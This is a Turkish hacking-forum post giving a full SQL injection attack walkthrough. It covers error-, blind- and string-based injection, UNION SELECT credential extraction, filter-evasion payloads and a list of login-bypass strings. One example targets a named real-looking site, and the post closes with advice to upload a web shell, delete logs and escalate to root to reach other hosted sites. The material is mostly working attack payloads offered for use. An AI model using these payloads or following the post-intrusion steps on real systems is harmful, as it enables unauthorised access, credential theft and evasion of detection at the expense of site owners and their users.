THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

chat
Seçenekler

Tam ayrıntılı sql! Başka yerde bulamassın

ByKertenkele - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2017
Yaş:
99
Mesajlar:
1.169
Konular:
290
Teşekkür (Etti):
105
Teşekkür (Aldı):
167
Ticaret:
(0) %
19-09-2017 15:59
#1
Tam ayrıntılı sql! Başka yerde bulamassın
  1. Search Arama kelimesinin ingilizce kavramıdır.Şimdi sitelerdeki Search kutularında SQL Açığı arayacağız. Search kutucuğu gördüğünüz yerlere ‘ - ‘a gibi işaretleri yapıp ara butonuna tıklıyoruz.Eğer ekranda tekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında açık olduğunu anlıyoruz. c-) Kayıt Formlarında SQL İnject. Açığı Aramak. Kayıt formlarının siteler için çok tehlike arz eden kısımlar olduğundan bahsetmiştik.Yukarıda da XSS açığının nasıl aranacağında görmüştük.Hemen SQL Açığının nasıl aranacağına bakıyoruz; Evet görüldüğü üzere tüm text’lere ‘a yazılmış.Daha sonra Gönder Butonu veya kayıt ol butonu varsa tıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında açık olduğunu anlarız. d-) İD Değerinin Bulunduğu Sitelerde SQL İnject. Açığı Aramak.
  2. 7-Saldırı Anı(SQL Açığının Tespiti) Bir Web Sayfası düşünün.; www.sayfam.com/dosya.php?id=2 olsun.Burada açık tespiti yapalım hemen; http://www.sayfam.com/dosya.php?id=2’www.sayfam.com/dosya.php?id=2’[/URL] Koyduk hata aldık.Yani bir SQL Açığı söz konusu..Şimdi SQL Açığını aldık ama ne yapacağımızı bilmiyoruz ? Yapacağımız işlem çok basit.; 8-Saldırı Anı2(Kolon Sayısı Öğrenmek, Kolon Sayısı Nedir? Neye Yarar?) Evet açık tespitini yaptık.Şimdi kolon sayısını bulacağız.Ama öncesinde Kolon sayısı nedir neye yarar bir göz atalım; Veritabanındaki sutünlara kolon (column) denir.İçerisinde verileri barındırır.Pek açıklamaya gerek yok.SQL Programlama dilini öğrenecek arkadaşlar ayrıntıları zaten öğrenecektirler.. Evet açığın olduğu sitemiz ; http://www.sayfam.com/dosya.php?id=2’www.sayfam.com/dosya.php?id=2’[/URL] idi.Şimdi ORDER BY Komutu ile Kolon sayısını öğrenelim; www.sayfam.com/dosya.php?id=2+order+by+1 yapıyoruz.Sayfa eski haline geri döndü. www.sayfam.com/dosya.php?id=2+order+by+10 yapıyoruz.Ekrana; Şeklinde bir hata geldi.Yani burada bize kolon sayısının 10 ‘dan küçük olduğunu söyliyor.Hemen bir bir aşağı iniyoruz.; www.sayfam.com/dosya.php?id=2+order+by+9 yaptık.Sayfa tekrar aynı hatayı verdi. www.sayfam.com/dosya.php?id=2+order+by+8 yapıyoruz sayfa düzeldi.Yani Kolon sayısı 8’miş.. Dipnot: Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa düzelmiyorsa link sonuna -- veya --x , +-- şeklinde işaretler koyarak net sonuçlar alabilirsiniz.
  3. 21. 9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass) Evet kolon sayımızı öğrendik.Kolon sayımız 8’miş.Şimdi ekrana kolonları yansıtacağız.Daha sonra ekrana yansıyan kolonlardan işlemlerimize devam edeceğiz.Kolon sayılarını yansıtma işlemini UNION SELECT komutları ile yapıyoruz.Hemen başlayalım.; Örnek; www.sayfam.com/sayfa.php?id=2+union+select+ kolon sayılarımız.-- şeklinde hemen yapalım; www.sayfam.com/sayfa.php?id=2+union+select+1,2,3,4,5,6,7,8-- yazdık.Sayfamıza 1,2,3,4,5,6,7,8 sayılarından hangileri yansıdıysa o sayılardan birini seçiyoruz ve o sayı ile devam edeğiz.. -Bypass: Yukarıda ekrana kolon sayılarını yansıtmıştık.Ekrana kolonların yansımadığını farz edelim.Burada devreye bypass giriyor.Bypass’ın net bir tanımı yoktur.Ama bu şekilde saldırılar yaptığımızda bizim karşımıza çıkan engelleri bazı yollarla aşmanın genel ismidir bypass.. Şimdi www.sayfam.com/sayfa.php?id=2+union+select+1,2,3,4,5,6,7,8-- şeklinde yazdık ekrana kolon yansımadı.Bypass’ı devreye sokacaz hemen; www.sayfam.com/sayfa.php?id=2+/*!union*/+/*!select*/+1,2,3,4,5,6,7,8-- şeklinde /*!*/ ifadesini kullanarak bypass ediyoruz.Bu şekilde genelde ekrana kolon sayısı yansır.Ama bununda fayda etmediği yerler oluyor.O Vakit ; www.sayfam.com/sayfa.php?id=2+union+(select+1,2,3,4,5,6,7,8--) veya www.sayfam.com/sayfa.php?id=-2+//union//+select//+1,2,3,4,5,6,7,8-- yapıyoruz.Bu genelde fayda eder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz; www.sayfam.com/sayfa.php?id=-2+UnIon+SeLeCt+1,2,3,4,5,6,7,8-- , www.sayfam.com/sayfa.php?id=-2+#union#+#select#+1,2,3,4,5,6,7,8-- , www.sayfam.com/sayfa.php?id=-2+/**/union/**/+/**/select/**/+1,2,3,4,5,6,7,8-- , www.sayfam.com/sayfa.php?id=-2+/*union*/+/*select*/+1,2,3,4,5,6,7,8-- şekillerindede bu hataları aşmamız mümkündür.Bununla ilgili Web Güvenlik Açıkları bölümünde yeterince konum mevcuttur..
  4. 22. Şimdi bakalım ekrana yansıyan kolonlara ÖR: 2 ve 7 sayıları yansımış..Bundan sonraki tüm işlemlerimizi bu 2 ve 7 sayıları üstünden gerçekleştireceğiz.Yani yansılan kolonlar üzerinden.. 10-Saldırı Anı4(Tablo İsimlerini Çekmek - Aksi Halde Bypass) Ekrana nasıyan 2 ve 7 kolonları üzerinden devam ediyoruz; Önce Group_Concat Fonksiyonunu tanıyalım; Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar. Örneğin veritabanında kullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip döndürebiliriz.Şimdi biz kolon sayılarında 2 yi seçip 2 üzerinden işlem yapalım.. www.sayfam.com/sayfa.php?id=-2+union+select+1,database(),3,4,5,6,7,8-- Şeklinde bir sorgu gönderdiğimizde sitemizdeki database (Veritabanı) ismini ögreniyoruz.. www.sayfam.com/sayfa.php?id=-2+union+select+1,version(),3,4,5,6,7,8-- Şeklinde bir sorguda ise bize MySql Veritabanı’nın Versiyonunu verir.Bunu @@version şeklindede sorgulayabilirsiniz.Şimdi tabloları çekelim; www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(table_name),3,4,5,6, 7,8+from+infor mation_schema.tables-- Şeklinde bir sorgu gönderdik.Peki biz burada ne dedik ? table_name = Tablo isimleri information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındaki tabloların , kolonların isimlerini veriri. information_schema.tables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bize verir. information_schema.columns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bize verir. www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(table_name),3,4,5,6, 7,8+from+infor mation_schema.tables+where+table_schema=database()-- table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesini isteriz. www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(table_name),3,4,5,6, 7,8+from+infor mation_schema.tables+where+table_schema=database()--
  5. 23. Şeklinde bir sorgu gönderdiğimizde bize veritabanındaki tablo isimlerini verecektir.Buradaki komutları iyi tanımanızı tavsiye ederim.. Ekrana yansıyan tablo isimlerine bir bakalım; admin,resimler,adresler,hizmetler vs vs olsun.. bize burada lazım olacak tabloyu seçiyoruz; admin Şimdi biz bu komutu sorgu olarak siteye gönderdik.Ama ekrana tablo isimler yansımadı? ne yapacağız?.. Burada gene araya bypass giriyor.Şimdi sorguda vurgulanan yer neresidir? Tablo isimleri... Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz; www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(TaBlE_Name),3,4,5,6, 7,8+from+inf ormation_schema.TabLeS+where+TaBLeS_schema=databas e()-- Şeklinde değişikliğimizi yapuyoruz..Ekrana tablo isimlerimizin yansıdığını göreceksiniz.. Bu Şekilde de yansımadığını farz edelim.Burada database() fonksiyonunu hexleyelim; (Hex bir şifreleme türüdür.Mozilla’nın Hackbar Eklentisinde Hex hizmeti mevcuttur.) Hexlenecek isim: database() Hexlenmiş Hali: 64617461626173652829 Yanlız şunu unutmamak gerekir.Hexlediğimiz tüm değerlerin başına 0x koymamız gerekir.Yani son hali şudur; 0x64617461626173652829 Şimdi tekrar çekelim tablolarımızı; www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(column_Name),3,4,5,6 ,7,8+from+in formation_schema.CoLumns+where+TaBLeS_schema=0x646 17461626173652829-- Sorguyu gönderdiğimizde tabloların yansıdığını göreceksiniz.Bu Hex taktiğini kolonlar üzerindede yapabilirsiniz. 11-Saldırı Anı5(Tablolardan Hedef Veriyi Çekmek - Aksi Halde Bypass) Evet tablo isimlerini ekrana yansıttık, istediğimiz bir tabloyu seçtik.Tablo ismimiz admindi.. Şimdi tablo içerisindeki sutünları çekelim bakalım ne varmış; www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(CoLumn_Name),3,4,5,6 ,7,8+from+i nformation_schema.CoLumns+where+TaBLeS_schema=data base()+and+TabLe_Name=admin-- Sorguyu gönderdik.Ekrana ; Username,Password,Email,id Şeklinde sutünlar yansıdı..Bize lazım olacak Sutünları seçiyoruz.Ben Username,Password Seçiyorum ve Devam ediyoruz..
  6. 24. Eğer biz bu şekilde sutünları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik? Burada tekrar bir bypass tekniği giriyor işin içine.Burada admin tablosunu hexleyelim; www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(CoLumn_Name),3,4,5,6 ,7,8+from+i nformation_schema.CoLumns+where+TaBLeS_schema=data base()+and+TabLe_Name=admin-- Hexlenecek ad: admin Hexlenmiş hali: 61646d696e Kullanılır hali: 0x61646d696e Sorguyu gönderiyoruz. www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(CoLumn_Name),3,4,5,6 ,7,8+from+i nformation_schema.CoLumns+where+TaBLeS_schema=data base()+and+TabLe_Name=0x61646d69 6e-- Gönderdik ve ekrana tekrar Username,Password,Email,id Sutünlarının yansıdığını görüyoruz. Şimdi seçtiğimiz Username,Password sutünlarının içerisindeki veriyi çekelim; www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(Username,Password),3 ,4,5,6,7,8+f rom+0x61646d696e-- Sorguyu gönderdik.; Username: admin Password: bugres Evet Admin’in kullanıcı adı ve şifresi yansıdı.Peki yansımaydı nasıl bir bypass tekniği kullanırdık.Username Password’ Char Code’larına çeviricez.Mozilla’nın Hackbar Eklentisinde mevcuttur. Username,Password Char Code Çevrilmiş Hali : String.fromCharCode(85, 115, 101, 114, 110, 97, 109, 101, 44, 80, 97, 115, 115, 119, 111, 114, 100) Char Code halini group_concat() fonksiyonunun arasına yazıyoruz.; www.sayfam.com/sayfa.php?id=-2+union+select+1,group_concat(String.fromCharCode( 85, 115, 101, 114, 110, 97, 109, 101, 44, 80, 97, 115, 115, 119, 111, 114, 100)),3,4,5,6,7,8+from+0x61646d69-- Şeklinde sorguyu gönderdiğimizde tekrardan yansıma işleminin yapıldığını göreceksiniz.. 12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek) Çektiğimiz K.Adı ve Şifreyi kullanarak sisteme yönetici olarak giriş yapacağız şimdi;
  7. 25. Tekrar hatırlayalım; U.name: admin P.word: bugres Yönetici olarak sisteme giriş yapabilmemiz için sitede bir yönetici panelinin olması gerekir.Bu Yönetici paneli yani admin paneli çoğu sitede mevcuttur.Şimdi biz admin panelini nasıl bulacağız? Panel yolunun tahmin ile veya farklı programlar kullanarak bulabiliriz.Önce bir tahmin yoluyla deneyelim. Eğer sistem Wordpress, Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zaten standarttır. Wordpress Admin panel yolu : /wp-admin Joomla admin panel yolu : /administrator Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz. Tahmine başlıyoruz; www.sayfam.com/admin -> Error www.sayfam.com/yonetici.php -> Error www.sayfam.com/admin.php -> Error www.sayfam.com/log_in.php -> Yess :P Evet admin panelini bulduk.Log_in.php imiş..Kullanıcı adını ve Şifresini kullanarak panele giriş yapıyoruz.Burada içerikleri değiştirebiliyoruz.Yeni içerik ekleyebiliyoruz.Yani herşeyi yapabiliyoruz. Shell sokmak: Bir upload bölümü bulup shellimizi upload ediyoruz.Sistemde yetki sahibiyiz.. 13-Saldırı Anı7(İzlerimizi Silmek) Evet sisteme girdik.Site sistemi log(kayıt) tutuyor olabilir.Yani admin paneline girişimizi veya upload ettiğimiz dosyaları log tutuyor olabilir..Burada sistemde işimizi bitirdikten sonra yapmamız gereken şey upload ettiğimiz shell i ve logları silmek.Silmez isek tehlike arz ediyor. 14-Sonuç. Neler yaptık ? Sisteme güvenlik açığı bulup admin şifresini ve kullanıcı adı adını çekerek sisteme giriş yaptık.Shellimizi yükledik.Peki yapacaklarımız bunlarla mı sınırlı ? hayır.Serverdeki sitelere de girme şansımız mevcut.Server daki en üst düzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geçerek yani sistemde ROOT olarak server daki diğer sitelere giriş yapabiliriz.ROOT İşlemli Linux ve WINDOWS serverlar’a göre değişkenlik gösteriyor..
  8. 26. 15- Kaç Tür SQL İnjection Vardır? a-) MySql İnjection Evet kaç tür SQL İnjection saldırısı vardır konu başlığı altında, SQL İnjection türlerini tanıyacağız. SQL İnjection türlerini bize verdikleri hatalar sayesinde ögreniriz.Yani Normal bir SQL İnjection hatası ile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut.. Daha öncesinde SQL İnjection açığının tespitini öğrenmiştik.Şimdi Mysql injection açığının hatasına bir göz atalım... Gördüğünüz gibi normal bir SQL hatasından çok farklı. Bu açığın kullanımına geçelim; Aslında normal bir SQL İnj. açığından farklı bir kullanımı yok MySql’in..Ama anlatalım gene de..Mysql versiyonuna göre bazen değişiklik gösterebiliyor.Mysql version 5 olsaydı kolay kolay Veri çekemezdik.Ama artık 4 pek fazla kullanılmadığı için 5 üzerinden devam.. Hedef sitemiz; http://www.paroswines.gr/english/product.php?id=22
  9. 27. Kolon sayısını arayalım; http://www.paroswines.gr/english/pro...2+order+by+1-- yaptık sayfa düzeldi.order by 10 yaptık sayfada tekrar MySql İnjection hatası belirdi.Yani 10 dan küçük olduğunu anlıyoruz Kolonumuzun. Teker teker iniyoruz; order+by+9-- yaptık.Sayfada hata duruyor.8 Yaptık sayfa düzeldi.Demek ki kolon sayısı 8 miş.. Şimdi kolonları yansıtalım; http://www.paroswines.gr/english/pro...,3,4,5,6,7,8-- bakıyoruz; Ekrana 3 sayısı yansıdı..3 Üzerinden devam ediyoruz. Yukarıda SQL Komutlarını görmüştük.Bu yüzden burada anlatmama gerek yok.. http://www.paroswines.gr/english/pro...(table_name),4, 5,6,7,8+from+information_schema.tables+where+table _schema=database()-- Sorgusunun ardından ekrana table’lar yansıdı; Tables; admin,kullanicilar,hizmetler,görseller … admin tablosu işimizi görür Şimdi admin tablosundaki kolonlara bakalım. http://www.paroswines.gr/english/pro...at(column_name) ,4,5,6,7,8+from+information_schema.columns+where+t able_schema=database()+and+table_name=ad min-- Ekrana user,pass,mail yansıdığını farz edelim. http://www.paroswines.gr/english/pro...(user,pass,ema il),4,5,6,7,8+from+admin-- User: admin Pass: 123456 Email: [EMAIL="admin@paroswines.com [URL="https://tik.lat/dNTsP"] 28. [/URL] SQL İnjection açıklarını hatalarına göre sıralıyorduk..Access SQL İnjection açığının da kendine özgü bir hatası vardır.Bu açığı bu hata ile anlarız.Access SQL İnjection ASP.NET ile kodlanmış sitelerde görülür genellikle.Çok yaygın bir SQL İnjection türüdür.. Hedef bir sitemiz olsun; www.site.com/sayfa.asp?id=1 şeklinde..Şimdi id=1 değernin yanına ‘ koyalım açık tespiti için.; http://www.site.com/sayfa.asp?id=1’www.site.com/sayfa.asp?id=1’[/URL] Eğer böyle bir hata alıyorsak Ms Access SQL İnjection açığını bulduk demektir ; Microsoft JET Database Engine error ’80040e14’ Syntax error in string in query expression ’id = 10";’. /sayfa.asp, line 7 Şimdi Kolon sayısını ögrenelim, tekrar ORDER BY komutunu kullancaz. www.site.com/sayfa.asp?id=1+order+by+1 yaptık.Sayfa eski haline geldi.Ekrandaki hata gitti. www.site.com/sayfa.asp?id=1+order+by+10 yaptık.Sayfa değişti yani farklı bir hata var ; alınan hata ; Microsoft JET Database Engine error ’80040e14’ The Microsoft Jet database engine does not recognize ’10’ as a valid field name or expression. sayfa.asp, line 7 Bu hatada kolon sayısının 10 dan az bir sayı olduğunu söyliyor bize..Şimdi teker teker inerek devam ediyoruz taaki sayfa düzelene dek.. www.site.com/sayfa.asp?id=1+order+by+9 yaptık aynı hata mevcut.order+by+8 yaptık gene aynı hata mevcut,7 de tekrar hata aldık, 6 yaptık ekrandan hata gitti...Anlıyoruz ki kolon sayısı 6’ymış.. Sıra geldi tahmin kısmına.İşimize yarayacak tabloyu tahmin etmemiz gerekiyor.Önce admin tablosundan başlayalım; www.site.com/sayfa.asp?id=1+union+select+1,2,3,4,5,6+from+admin-- yaptık.karşımıza ; Hata gelmedi Yani admin diye bir tablo mevcutmuş.Ekrana kolonlar yansıdı, yansıyan kolonlar ; 2-4 olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutün değerini yazıyoruz.Yani; www.site.com/sayfa.asp?id=1+union+select+1,username,3,password, 5,6+from+admin-- Şeklinde..Eğer ekrana username ve password yansımadıysa sutün isimleri username password değildir.. www.site.com/sayfa.asp?id=1+union+select+1,user,3,pass,5,6+from +admin--
  10. 29. Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını göreceğiz.Tabi burada kolonları ve tabloları tahmin olarak yazdık.Tüm sitelerde user pass olacak diye bir kaide yoktur.. User: mahserat Pass: bugres c-) Blind SQL İnjection Blind SQL İnjection diğer açık türlerinden farklıdır.Yani SQL İnjection açığında id=2 değerinin yanına koyduğumuz ‘ ve ‘a sayesinde açık olup olmadığını anlıyorduk.Fakat Blind SQL İnjection’da bu durum değişiyor..Açığı ‘ veya ‘a kullanarak almıyoruz. Şöyle bir durum daha var normal SQL İnjection türlerinde hata alırken, Blind Sql injection da hata almıyoruz. Gene bir hedef site düşünün; www.sayfa.com/dosya.php?id=2 . olsun. Burada Blind SQL İnj. olup olmadığını şu şekilde anlıyoruz. ; www.sayfa.com/dosya.php?id=2 and 1=1-- yapıyoruz ilk başta..Sayfada değişiklik olmuyor... and 1=2-- yaptığımızda sayfa değişiyor.Hata olmuyor ama sayfa değişiyor.Diğer Türlerden ayıran bir özellik de budur.Evet sayfa değiştiği için burada Blind SQL İnjection vardır diyebiliriz. Hemen MySQL Versiyonunu öğrenelim.Önce and substring(@@version,1,1)=4 komutuyla versiyonun 4 mü olduğa bakıyoruz. www.sayfa.com/dosya.php?id=2 and substring(@@version,1,1)=4 şeklinde sorgu gönderdik.Sayfada bozulma oldu.Yani 4 değil.Bu sefer and substring(@@version,1,1)=5 komutu ile versiyonun 5 olup olmadığına bakalım. www.sayfa.com/dosya.php?id=2 and substring(@@version,1,1)=5 sorgu gönderdiğimizde sayfada sorun yoksa eğer demek ki MySQL Versiyonu 5 miş.. Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdık.Şimdi tabloları çekelim; www.sayfa.com/dosya.php?id=2 and substring((select table_name from information_schema.tables where table_name like 0x257573657225),1,1)=0x75 komutunu yazacağız.Burada dedik ki içerisinde users geçen ilk tablonun ilk harfi 0x75 yani u’mu eğer u ise demek ki sayfa düzgün açılacak..Tablonun Users olduğunu farz ederek devam ediyorum.. www.sayfa.com/dosya.php?id=2 and substring((select column_name from information_schema.columns where table_name=0x7573657273 limit 2,1),1,50) like 0x257061737325 burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yine deniyoruz.Burada limit 2 dedim.Nedeni ise genelde user ve pass sitede 0,1 ve 2. kolonlarda olur.Bu arada gördüğünüz 0x ile başlayan sayılar sizinde bileceğiniz üzere Hex’dir.
  11. 30. Şimdi user sutünunu çekelim.. www.sayfa.com/dosya.php?id=2 and substring((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,50) like 0x75736572 Diyelim ki İki kolonud a doğru tahmin ettik.Şimdi ne var elimizde user ve pass kolonları var.İçerisindeki veriyi çekelim; and substring((select user from users),1,1)=0x(tahmin edilen users..) and substring((select pass from users),2,1)=0x(tahmin edilen users..) Bu şekilde Hex ile harf harf tahmin ederek teker teker çekiyoruz.. Biraz zordur Blind SQL İnjection.Ama pes etmemek gerekir. d-) String SQL İnjection Normal bir SQL İnjection saldırısında ne yapıyorduk? Önce ‘ veya ‘a koyarak SQL Hatası alıyorduk.Daha sonra ORDER BY komutu ile kolon sayısını öğrenip devam ediyorduk.String SQL İnjection’da işler değişiyor.Yani normal saldırıdaki gibi ‘ , ‘a koyuyoruz ama ORDER BY ile kolon sayısını öğrenmek istediğimizde öğrenemiyoruz.Yani; www.site.com/sayfa.php?id=1+order+by+1-- yapiyoruz.Sayfa eski haline dönüyor. www.site.com/sayfa.php?id=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyor sayfa değişmiyor.Bu String SQL İnjection’dur..Hemen kullanımına geçiyoruz.; http://www.site.com/sayfa.php?id=1’www.site.com/sayfa.php?id=1’[/URL] yaptık SQL Hatası aldık..Hemen kolon öğrenelim; www.site.com/sayfa.php?id=1+order+by+10-- Yaptık.Sayfa eski haline geldi.Hata yok; www.site.com/sayfa.php?id=1+order+by+100-- Yaptık.Sayfada gene bir hata söz konusu değil. www.site.com/sayfa.php?id=1+order+by+1000-- gene bir hata yok.Burada String devreye giriyor. Hemen bakalım; http://www.site.com/sayfa.php?id=1’www.site.com/sayfa.php?id=1’[/URL] and ‘x’=’x yaptık.Sayfa değişmedi hata vermedi.Burada sitemizin x=x mi olduğunu sorguladık.Bir değişiklik olmadı yani bize olumlu yönde cevap verdi.. http://www.site.com/sayfa.php?id=1’www.site.com/sayfa.php?id=1’[/URL] and ‘x’=’y dedik.Bize olumsuz bir yanıt verdi.Girdiğimiz ‘ and ‘x’=’y komutu ile siteye x=y mi diye sorduk.Olumsuz bir yanıt almıştık.Site bize X Nasıl Y ‘ye eşit olabilir diye fırça attı Biraz olsa Blind SQL İnjection’a benziyor bu tür.. Hemen kolon sayısını çekelim; http://www.site.com/sayfa.php?id=-1’www.site.com/sayfa.php?id=-1’[/URL] union select+0,1,2,3.. and ‘x’=’x diye sorgu gönderiyoruz.Fakat burada 0,1,2,3. dikkat.Önce 0 dan başlıyoruz.teker teker ilerliyoruz.Sayfaya kolon sayıları yansıyana kadar devam ediyoruz.Ekrana 2 nin yansıdığını farz ederek devam edelim.;
  12. 31. http://www.site.com/sayfa.php?id=9999999.9’www.site.com/sayfa.php?id=9999999.9’[/URL] and union select+0,1,(select group_concat(table_name)+from+informations_schema. tables+where+table_schema=database()),3 and ‘x’=’x Yansıyan kolon sayısı 2 idi.Bizde 2 üzerinden işleme devam ettik.Normal şartlarda from+information.... sorgusu satırın sonunda iken burada tüm görevi 2. kolona devrettik.Fakat unutmayalım Parantezler içerisinde. Evet tablolar yansıdı.Örnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim. http://www.site.com/sayfa.php?id=9999999.9’www.site.com/sayfa.php?id=9999999.9’[/URL] and union select+0,1,(select group_concat(column_name)+from+informations_schema .columns+where+table_schema=database() +and+table_name=’admin’),3 and ‘x’=’x Evet admin tablosundaki sutünları yani kolonları yansıttık.Kolonlar; email,id,username,password olduğunu farz ediyoruz.. http://www.site.com/sayfa.php?id=9999999.9’www.site.com/sayfa.php?id=9999999.9’[/URL] and union select+0,1,(select group_concat(username,password)+from+’admin’),3 and ‘x’=’x Şeklinde K.adı ve Şifreyi çektik.. e-) SQL İnjection Login Bypass SQL İnjection Login Bypass çok basit bir injection türüdür.Web Sitelerindeki Login Kısımlarında meydana gelen bu açık birçok web sitesinde mevcuttur.Bir admin panelini hedef alarak saldırıya başlayalım;
  13. 32. Bu tarz bir login kısmı olduğunu farz edelim.Burada Kullanıcı adını ve Şifresini bypass edeceğiz..Peki nasıl SQL İnjection da login panelleri için bypass kodları mevcuttur.Bunlardan birkaç’ını vereyim sizlere; admin’— ’ or 0=0 -- ’ or ’ 1=1 ’ or ’ 1 ’ or ’ " or 0=0 -- or 0=0 -- ’ or 0=0 # " or 0=0 # or 0=0 # ’ or ’x’=’x " or "x"="x ’) or (’x’=’x ’ or 1=1-- " or 1=1-- or 1=1-- ’ or a=a-- " or "a"="a ’) or (’a’=’a ") or ("a"="a hi" or "a"="a
  14. 33. hi" or 1=1 -- hi’ or 1=1 -- hi’ or ’a’=’a hi’) or (’a’=’a hi")or("a"="a Bu kodlar sayesinde Login kısmını bypass edebiliriz.Bu açık çoğu web sayfasında mevcuttur.Genellikle panel yolu /admin/admin.php olan web sitelerinde gözüme batmadı değil..Evet bir bakalım kendimize bir bypass kodu seçiyoruz. ‘OR’ ‘=’ kodunu seçtim..Şimdi gerekli text kısımlarına yazalım.. Evet resimde görüldüğü gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdık.Giriş Yap diyoruz; Görüldüğü üzere giriş başarılı oldu Evet Login bypass bu kadar basit bir mevzu..
  15. 34. f-) PostData SQL İnjection Bu injection türü ASP.NET sitelerde textboxlarda mevcut olan bir açıktır.Diğer HTML sitelerde ise <input type=”text” ‘larda mevcut bir açık türüdür..Çok basittir.Normal bir SQL İnjection açığıda sitede açık analizi yapma şeklimiz şuydu; http://www.site.com/sayfa.php?id=1’www.site.com/sayfa.php?id=1’[/URL] idi..Burada adı üstünde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısını yapacağız.Peki nasıl? Şimdi iki adet text kısmı düşünün Kullanıcı adı ve Şifreden oluşan... Şeklinde...Burada 2 adet Text mevcut.Buraya injection saldırısı yapacağız.Şimdi gördüğümüz Textlere Normal İnjectiondaki saldırılar gibi ‘ veya ‘a karakterlerini ekliyoruz. Evet ekledikten sonra GÖNDER botunona basıyoruz.Karşımıza Şöyle bir SQL İnjection hatası çıkarsa, bu login dosyasında SQL İnjection açığı mevcuttur diyebiliriz.Şimdi tekrar login kısmına geri dönüyoruz ve kaynak kodunu göster diyoruz. <form name="t1" method="POST" action="login.aspx">
  16. 35. Kaynak kodundaki önemli olan yer üstteki Method dur.Yani gönderilen veri POST Methoduyla gönderilmelidir..POST ‘un diğer Methodlardan farkı ise POST’un hızlı ve güvenilir olmasıdır. Peki bu açığı nasıl kullanacağız? Kaynak kodunu alıyoruz bir notepad’a yapıştırıyoruz.Daha sonra <form name="t1" method="POST" action="login.aspx"> Kodundaki POST Methodunu GET Methoduna çeviriyoruz.Daha sonra login.aspx dosyasının tam yolunu belirtiyoruz.Yani ; <form name=”t1” method=”GET” action”http://site.com/login.aspx”> Kaynak kodlarında bu kısmı bu şekilde düzetip html uzantılı kaydediyoruz.Daha sonra tekrar bir tarayıcıda açıyoruz ve textlere ‘a koyuruz.Linkte ; http://www.site.com/login.aspx?kadi=’a&sifre=’a&Submit=G%F6nderwww.sit e.com/login.aspx?kadi=’a&sifre=’a&Submit=G%F6nder[/URL] şeklinde gözükecektir. http://www.site.com/login.aspx?kadi=a’awww.site.com/login.aspx?kadi=a’a[/URL] şekline SQL İnjection toolarıyla açığı kullanabilirsiniz. SQL İnjection saldırısını ve türlerini iliklerine kadar biliyorsunuz artık Şimdi sıra SQL Mod_Security, order by, union select komutların nasıl bypass edileceğini anlamaya geldi.. SQL İnjection Bypass.. Merhaba arkadaşlar, Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun çıkaran bazı komutların bypass yöntemlerini anlatmaya çalışacağım. Umarım yararlı olur. SQL İnjection lastik gibidir, nereye çekerseniz oraya gider. Aynı şekilde sql injection bypass yöntemlerinde de bu olay böyledir. a) Öncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden ve karşılaşabileceğimiz sorunlardan bahsedeyim. Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız. Ama bazen hedef sitede ki güvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu çalıştıramaya biliriz. Burada hemen bypass devreye girmektedir. Nasıl mı? Bir Web Site düşünün; http://www.sayfam.com/dosya.php?id=1’www.sayfam.com/dosya.php?id=1’[/URL] yaptığımız vakit bize standart bir sql hatası verecektir. Burada sql açığı olduğunu anlarız. Hemen order by komutu ile kolon sayısını öğrenmeye çalışırız; www.sayfam.com/dosya.php?id=1+order+by+1-- fakat sayfadaki hata hala devam eder, burada bypass devreye girer. Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komut çalışmadı..
